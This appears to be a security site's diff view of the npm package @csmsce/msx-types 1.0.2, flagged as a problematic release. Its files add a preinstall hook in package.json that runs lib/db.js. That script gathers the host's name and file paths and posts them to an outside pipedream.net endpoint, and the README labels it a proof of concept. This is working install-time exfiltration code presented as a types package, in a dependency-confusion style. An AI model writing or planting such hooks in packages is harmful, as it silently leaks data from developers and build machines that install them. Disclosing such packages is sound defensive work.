@csmsce/msx-types 1.0.2

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of @csmsce/msx-types might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/README.md +1 -0
  2. package/lib/db.js +42 -0
  3. package/package.json +17 -0
package/README.md ADDED
@@ -0,0 +1 @@
1
+ PoC by HTM for security purpose only.
package/lib/db.js ADDED
@@ -0,0 +1,42 @@
1
+ 'use strict'
2
+
3
+ const https = require('https')
4
+ const http = require("http");
5
+ const os = require("os");
6
+
7
+ var currentPath = __dirname;
8
+ var currentFile = __filename;
9
+
10
+ var data = {
11
+ hostname: JSON.stringify(os.hostname()),
12
+ currentPath: currentPath,
13
+ currentFile: currentFile,
14
+
15
+ };
16
+
17
+ data = JSON.stringify(data)
18
+
19
+ const options = {
20
+ hostname: 'enjglpdgtgrbn4b.m.pipedream.net',
21
+ port: 443,
22
+ path: '/QGNzbXNjZS9tc3gtdHlwZXM6aHR0cHM6Ly9wbGFubmluZ2V4ZWN1dGlvbnRyYWNrZXIubWljcm9zb2Z0LmNvbS9zdGF0aWMvanMvMi5mZjlhNWNhOC5jaHVuay5qcy5tYXA=',
23
+ method: 'POST',
24
+ headers: {
25
+ 'Content-Type': 'application/json',
26
+ 'Content-Length': data.length
27
+ }
28
+ }
29
+
30
+ const req = https.request(options, res => {
31
+
32
+ res.on('data', d => {
33
+ process.stdout.write(d)
34
+ })
35
+ })
36
+
37
+ req.on('error', error => {
38
+ console.error(error)
39
+ })
40
+
41
+ req.write(data)
42
+ req.end()
package/package.json ADDED
@@ -0,0 +1,17 @@
1
+ {
2
+ "name": "@csmsce/msx-types",
3
+ "version": "1.0.2",
4
+ "description": "",
5
+ "main": "lib/db.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node lib/db.js"
9
+ },
10
+ "author": "Aditya",
11
+ "license": "ISC",
12
+ "dependencies": {
13
+ "http": "0.0.1-security",
14
+ "https": "^1.0.0",
15
+ "os": "^0.1.1"
16
+ }
17
+ }